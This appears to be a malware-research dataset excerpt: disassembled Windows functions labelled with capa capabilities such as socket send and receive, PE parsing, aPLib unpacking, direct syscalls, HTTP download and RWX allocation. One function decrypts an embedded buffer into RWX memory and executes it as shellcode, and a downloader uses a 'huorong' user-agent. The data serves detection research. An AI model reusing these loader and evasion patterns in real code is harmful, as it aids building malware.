joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001e3a0
Capabilities:
Connect socket
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
xor ebx, ebx
mov rsi, rdx
mov rdi, rcx
test r8d, r8d
je 0x14001e420
mov rdx, qword [rcx + 0x30]
mov rcx, qword [rcx + 0x28]
lea r8d, [rbx + 0x30]
call qword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
je 0x14001e40e
cmp word [rsi], 2
mov rcx, qword [rdi + 0x28]
mov eax, reloc.WS2_32.dll_recv
mov r8d, 0x1c
mov rdx, rsi
cmove r8d, eax
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x14001e409
cmp eax, 0xffffffff
jne 0x14001e40e
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x14001e40e
mov ebx, 1
mov eax, ebx
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
cmp word [rdx], 2
mov rcx, qword [rcx + 0x28]
mov eax, reloc.WS2_32.dll_recv
mov r8d, 0x1c
cmove r8d, eax
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x14001e40e
mov rdx, qword [rdi + 0x30]
mov rcx, qword [rdi + 0x28]
mov r8d, 0x23
call qword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
je 0x14001e40e
mov dword [rdi + 0x68], 1
xor ecx, ecx
mov dword [rdi + 0x6c], 1
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov r11, qword [rdi]
mov rcx, rdi
call qword [r11 + 0x108]
cmp eax, 2
jne 0x14001e4ad
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x4c7
test eax, eax
cmove eax, ecx
mov ecx, eax
call qword [sym.imp.WS2_32.dll_WSASetLastError]
mov rsi, qword [rsp + 0x38]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov rcx, qword [rdi + 0x28]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x14001e4d4
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
cmove eax, ebx
mov ebx, eax
mov rdx, qword [rdi + 0x38]
lea rcx, str._C_CNNID:__Iu__send_0_bytes__detect_package__n
call fcn.14001c390
test ebx, ebx
je 0x14001e409
mov ecx, 0x80004005
call fcn.140016e30
int3

Function at 0x14001e500
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov edx, dword [rcx + 0x210]
mov eax, dword [rcx + 0x50]
inc dword [rcx + 0x210]
xor edi, edi
mov rbx, rcx
cmp edx, eax
jb 0x14001e541
mov dword [rcx + 0x18], 1
mov qword [rcx + 0x1c], 5
mov dword [rcx + 0x24], edi
xor eax, eax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov rcx, qword [rcx + 0x28]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x14001e568
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
cmove eax, edi
mov edi, eax
mov rdx, qword [rbx + 0x38]
lea rcx, str._C_CNNID:__Iu__send_0_bytes__detect_package__n
call fcn.14001c390
test edi, edi
je 0x14001e5a1
mov dword [rbx + 0x18], 1
mov dword [rbx + 0x1c], 5
mov dword [rbx + 0x20], edi
mov dword [rbx + 0x24], 1
xor eax, eax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov eax, 1
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x14001e650
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov eax, dword [rcx + 0x20c]
mov rbx, rcx
test eax, eax
jne 0x14001e779
xor esi, esi
nop word [rax + rax]
mov r8d, dword [rbx + 0x44]
mov rdx, qword [rbx + 0x80]
mov rcx, qword [rbx + 0x28]
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_recv]
mov edi, eax
test eax, eax
jle 0x14001e72f
mov rcx, qword [rbx + 0x80]
mov edx, eax
mov dword [rbx + 0x210], esi
call fcn.1400197f0
test eax, eax
jne 0x14001e78e
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, qword [rbx]
mov rdx, qword [rbx + 0x80]
mov r8d, edi
mov rcx, rbx
call qword [rax + 0x128]
cmp eax, 2
jne 0x14001e76b
mov rdx, qword [rbx + 0x38]
lea rcx, str._C_CNNID:__Iu__OnReceive___event_return_HR_ERROR__connection_will_be_closed___n
call fcn.14001c390
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x4c7
test eax, eax
cmove eax, ecx
mov dword [rbx + 0x18], 1
mov dword [rbx + 0x1c], 4
mov dword [rbx + 0x20], eax
mov dword [rbx + 0x24], 1
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
cmp eax, 0xffffffff
jne 0x14001e751
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x14001e779
cmp eax, 0x2744
je 0x14001e76b
cmp eax, 0x2746
jne 0x14001e705
jmp 0x14001e76b
test eax, eax
jne 0x14001e76b
mov rdx, qword [rbx + 0x38]
lea rcx, str._C_CNNID:__Iu__recv_0_bytes__detect_package__n
mov dword [rbx + 0x210], esi
call fcn.14001c390
mov eax, dword [rbx + 0x20c]
test eax, eax
je 0x14001e680
mov eax, 1
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov dword [rbx + 0x24], esi
mov rsi, qword [rsp + 0x38]
mov dword [rbx + 0x18], 1
mov qword [rbx + 0x1c], 5
mov rbx, qword [rsp + 0x30]
xor eax, eax
add rsp, 0x20
pop rdi
ret
Function at 0x14001ee30
Capabilities:
Send data
Send data on socket

Disassembly:
push r12
sub rsp, 0x40
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rbp
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], rdi
mov rsi, rcx
call fcn.14001e7c0
mov rdi, rax
lea rbx, [rsi + 0xa8]
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14001efd5
nop dword [rax + rax]
mov r8d, dword [rdi + 0x30]
sub r8d, dword [rdi + 0x28]
xor r9d, r9d
mov rdx, qword [rdi + 0x28]
mov rcx, qword [rsi + 0x28]
call qword [sym.imp.WS2_32.dll_send]
mov ebp, eax
test eax, eax
jle 0x14001eef7
lea rcx, [rsi + 0x1a8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
sub dword [rsi + 0x208], ebp
lea rcx, [rsi + 0x1a8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov r9, qword [rsi]
mov r8d, ebp
mov rdx, qword [rdi + 0x28]
mov rcx, rsi
call qword [r9 + 0x118]
cmp eax, 2
jne 0x14001eef0
mov rdx, qword [rsi + 0x38]
lea rcx, str._C_CNNID:__Iu__OnSend___event_should_not_return_HR_ERROR____n
call fcn.14001c390
mov rbx, qword [rsp + 0x28]
jmp 0x14001eefc
cmp eax, 0xffffffff
je 0x14001ef3e
lea rcx, [rbx + 0x30]
mov rdx, rdi
call fcn.140018a20
test eax, eax
jne 0x14001ef14
mov rcx, rdi
call fcn.14001c370
mov rcx, rsi
call fcn.14001e7c0
mov rdi, rax
lea rbx, [rsi + 0xa8]
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x30], rax
test rax, rax
jne 0x14001ee80
jmp 0x14001efd5
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x14001efa1
lea rcx, [rsi + 0x1a8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsi + 0x1d8]
test rax, rax
je 0x14001ef75
mov qword [rax + 0x10], rdi
mov rax, qword [rsi + 0x1d8]
mov qword [rdi + 8], rax
jmp 0x14001ef84
mov qword [rdi + 0x10], rax
mov qword [rdi + 8], rax
mov qword [rsi + 0x1e0], rdi
mov qword [rsi + 0x1d8], rdi
inc dword [rsi + 0x1d0]
lea rcx, [rsi + 0x1a8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
nop
jmp 0x14001eff2
mov dword [rsi + 0x18], 1
mov dword [rsi + 0x1c], 3
mov dword [rsi + 0x20], eax
mov dword [rsi + 0x24], 1
lea rcx, [rbx + 0x30]
mov rdx, rdi
call fcn.140018a20
test eax, eax
jne 0x14001efd1
mov rcx, rdi
call fcn.14001c370
xor eax, eax
jmp 0x14001eff7
test rdi, rdi
je 0x14001eff2
lea rcx, [rbx + 0x30]
mov rdx, rdi
call fcn.140018a20
test eax, eax
jne 0x14001eff2
mov rcx, rdi
call fcn.14001c370
mov eax, 1
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r12
ret

Function at 0x14001f9c0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
lea rax, [rcx + 0x60]
mov rbx, rcx
mov r9, rcx
mov qword [rsp + 0x28], rax
lea r8, [0x14001f570]
xor edi, edi
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], edi
call fcn.140021d18
test rax, rax
mov qword [rbx + 0x58], rax
mov rbx, qword [rsp + 0x40]
setne dil
mov eax, edi
add rsp, 0x30
pop rdi
ret

Function at 0x14002446c
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.1400242dc
Function at 0x140003990
Capabilities:
Parse pe header

Disassembly:
push rbx
sub rsp, 0x40
mov qword [rsp + 0x58], rdx
mov rbx, r8
xor edx, edx
test rcx, rcx
je 0x1400039c4
cmp word [rcx], 0x5a4d
jne 0x1400039c4
movsxd rax, dword [rcx + 0x3c]
cmp eax, 0x400
jg 0x1400039c4
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400039c4
mov edx, dword [rcx + 0x28]
add rdx, qword [rsp + 0x58]
mov rcx, rbx
call fcn.1400038d0
test eax, eax
jne 0x1400039e0
xor eax, eax
add rsp, 0x40
pop rbx
ret
mov rcx, rbx
call fcn.140003940
test rax, rax
je 0x1400039d5
lea rdx, [rax + 0x10]
lea rax, [rsp + 0x38]
mov rcx, qword [rbx]
mov r9d, 8
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x58]
mov qword [rsp + 0x38], 0
call fcn.14000418f
not eax
shr eax, 0x1f
add rsp, 0x40
pop rbx
ret

Function at 0x140004090
Capabilities:
Execute syscall

Disassembly:
pop rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov rcx, r10
call fcn.140004030
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x1400044f4
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
mov rax, qword [0x14000d7d8]
xor ebx, ebx
add rax, 0x18
mov r12, rcx
mov ecx, dword [0x14000d7d4]
mov rsi, rdx
mov rdi, r8
cmp ebx, ecx
jge 0x140004542
mov rdx, qword [rax]
cmp r12, rdx
jb 0x14000453a
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x140004629
inc ebx
add rax, 0x28
jmp 0x14000451a
mov rcx, r12
call fcn.140004d21
mov rbp, rax
test rax, rax
jne 0x140004561
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.140004490
movsxd rbx, ebx
mov rax, qword [0x14000d7d8]
xor edx, edx
imul rbx, rbx, 0x28
add rax, rbx
mov dword [rax], edx
mov qword [rax + 0x20], rbp
call fcn.140004dcf
mov edx, dword [rbp + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000d7d8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
jne 0x1400045c3
mov rax, qword [0x14000d7d8]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140004490
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140004623
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140004623
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000d7d8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140004623
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140004490
inc dword [0x14000d7d4]
mov ecx, edi
mov rdi, r12
rep movsb byte [rdi], byte [rsi]
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x140004a50
Capabilities:
Get thread local storage value

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
lea rdi, [0x14000d840]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000d820]
test rbx, rbx
je 0x140004a9c
mov ecx, dword [rbx]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test rsi, rsi
je 0x140004a96
test eax, eax
jne 0x140004a96
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
jmp 0x140004a6e
mov rcx, rdi
add rsp, 0x20
pop rbx
pop rsi
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140004c50
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140004c73
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x140004c73
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140004c74
Capabilities:
Enumerate pe sections

Disassembly:
xor r8d, r8d
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r9d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
cmp r8d, r9d
jae 0x140004cae
mov r10d, dword [rax + 0xc]
mov rcx, r10
cmp rdx, r10
jb 0x140004ca5
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x140004cb0
inc r8d
add rax, 0x28
jmp 0x140004c8c
xor eax, eax
ret

Function at 0x140004d21
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x140009dd0]
mov r8, rcx
mov rcx, r9
call fcn.140004c50
test eax, eax
je 0x140004d4d
mov rdx, r8
mov rcx, r9
sub rdx, r9
add rsp, 0x28
jmp fcn.140004c74
xor eax, eax
add rsp, 0x28
ret
Function at 0x180862108
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.18086228f
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x180862139
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x18086211f
add dl, dl
jne 0x180862146
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1808621a6
xor eax, eax
add dl, dl
jne 0x180862155
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x18086225d
add dl, dl
jne 0x180862166
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x180862173
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x180862180
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x18086218d
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x18086219a
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x18086212e
mov eax, 1
add dl, dl
jne 0x1808621b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1808621c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1808621ab
sub eax, ebx
mov ebx, 1
jne 0x1808621fc
mov ecx, 1
add dl, dl
jne 0x1808621de
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1808621eb
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1808621d3
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18086212e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x180862218
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x180862225
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x18086220d
cmp eax, 0x7d00
jae 0x18086224b
cmp eax, 0x500
jb 0x180862246
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18086212e
cmp eax, 0x7f
ja 0x18086224e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18086212e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x180862282
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x18086212e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140602058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1406021df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140602089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14060206f
add dl, dl
jne 0x140602096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406020f6
xor eax, eax
add dl, dl
jne 0x1406020a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406021ad
add dl, dl
jne 0x1406020b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406020c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406020d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406020dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1406020ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14060207e
mov eax, 1
add dl, dl
jne 0x140602106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140602113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1406020fb
sub eax, ebx
mov ebx, 1
jne 0x14060214c
mov ecx, 1
add dl, dl
jne 0x14060212e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14060213b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140602123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14060207e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140602168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140602175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14060215d
cmp eax, 0x7d00
jae 0x14060219b
cmp eax, 0x500
jb 0x140602196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14060207e
cmp eax, 0x7f
ja 0x14060219e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14060207e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1406021d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14060207e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x1401803e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rsi
push rdi
mov eax, 0x4b0b8
call fcn.140185db0
sub rsp, rax
mov rax, qword [0x1401ec090]
xor rax, rsp
mov qword [rsp + 0x4b0b0], rax
lea rdx, [0x140197600]
lea rsi, [rsp + 0x50]
mov r8d, 0x4b041
mov rcx, rsi
call fcn.140188880
lea rdi, [rsp + 0x28]
mov rcx, rdi
xor edx, edx
call section..text
movaps xmm0, xmmword [0x1401e2650]
movaps xmmword [rsp + 0x40], xmm0
movaps xmmword [rsp + 0x30], xmm0
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x30]
mov rcx, rdi
mov rdx, rsi
mov r8d, 0x4b040
call fcn.14003d740
mov rsi, rax
mov edx, 0x4b041
xor ecx, ecx
mov r8d, 0x1000
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
mov r8d, 0x4b040
mov rcx, rax
mov rdx, rsi
call fcn.140188880
mov dword [0x1401ecb98], 0
mov dword [0x1401ecba8], 0
lea rax, [rsp + 0x4b0a0]
mov qword [0x1401ecba0], rax
mov dword [0x1401ecbac], 0
mov qword [0x1401ecbb0], rdi
mov dword [0x1401ecbb8], 0x4b040
call rdi
mov rcx, qword [rsp + 0x4b0b0]
xor rcx, rsp
call fcn.140185d70
xor eax, eax
add rsp, 0x4b0b8
pop rdi
pop rsi
ret

Function at 0x14018c050
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14018be7c
Function at 0xb8ffb0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0xb8ffbd
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0xb8ffcd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0xb8ffb5
lea eax, [rcx + 1]
jmp 0xb8ffdb
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0xb8ffee
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0xb8ffd4
sub eax, 3
jb 0xb9000e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0xb9005d
sar eax, 1
movsxd rbp, eax
jb 0xb90044
jmp 0xb9001c
add ebx, ebx
jne 0xb9001a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0xb90044
inc ecx
add ebx, ebx
jne 0xb9002a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0xb90044
call r11
adc ecx, ecx
add ebx, ebx
jne 0xb9003d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0xb9002c
add ecx, 2
jmp 0xb90049
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.00b8ff72
jmp 0xb8ffbd
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x37d600
mov dl, 0x35
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0xb900a9
cmp rsi, rcx
jae 0xb900b1
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0xb90090
cmp al, 0x8f
ja 0xb90090
cmp byte [rsi - 2], 0xf
je 0xb90096
sub al, 0xe8
cmp al, 1
ja 0xb9007a
cmp rsi, rcx
jae 0xb900b1
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0xb90080
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0xb900b1
lodsb al, byte [rsi]
jmp 0xb90090
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x775000]
mov eax, dword [rdi]
or eax, eax
je 0xb9010e
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x79d7cc]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0xb900be
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0xb90108
mov qword [rbx], rax
add rbx, 8
jmp 0xb900de
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0xb90148
cmp al, 0xef
ja 0xb9013a
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0xb9011a
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0xb90129
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x22f]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0xb9019c
sub rsp, 0xffffffffffffff80
jmp 0x7677c0
Function at 0x140002930
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
mov rbp, rsp
sub rsp, 0x80
mov qword [rbp - 0x48], 0xfffffffffffffffe
mov qword [rsp + 0xb8], rbx
mov rdi, rdx
mov rbx, rcx
xor r13d, r13d
mov dword [rbp + 0x48], r13d
mov qword [rcx], r13
mov qword [rcx + 8], r13
mov qword [rcx + 0x10], r13
mov dword [rbp + 0x48], 1
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
lea edx, [r13 + 1]
lea rcx, str.huorong
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r12, rax
test rax, rax
jne 0x1400029cd
lea rax, str.Failed_to_open_internet_connection.
mov qword [rbp - 0x50], rax
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x40]
call fcn.140003f80
lea r11, vtable.std::runtime_error.0
mov qword [rbp - 0x40], r11
lea rdx, [0x140025ed0]
lea rcx, [rbp - 0x40]
call fcn.140005998
int3
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, rdi
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rsi, rax
mov qword [rbp - 0x28], r13
mov qword [rbp - 0x20], r13
mov qword [rbp - 0x18], r13
lea rcx, [rbp - 0x28]
call fcn.140002e80
nop
mov dword [rbp + 0x40], r13d
mov r13, qword [rbp - 0x20]
mov rdi, qword [rbp - 0x28]
sub r13, rdi
lea r9, [rbp + 0x40]
mov r8d, r13d
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140002a67
mov eax, dword [rbp + 0x40]
test eax, eax
je 0x140002a6e
lea r9, [rdi + rax]
mov r8, rdi
mov rdx, qword [rbx + 8]
mov rcx, rbx
call fcn.140003580
lea r9, [rbp + 0x40]
mov r8d, r13d
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140002a36
mov eax, dword [rbp + 0x40]
test eax, eax
jne 0x140002ac3
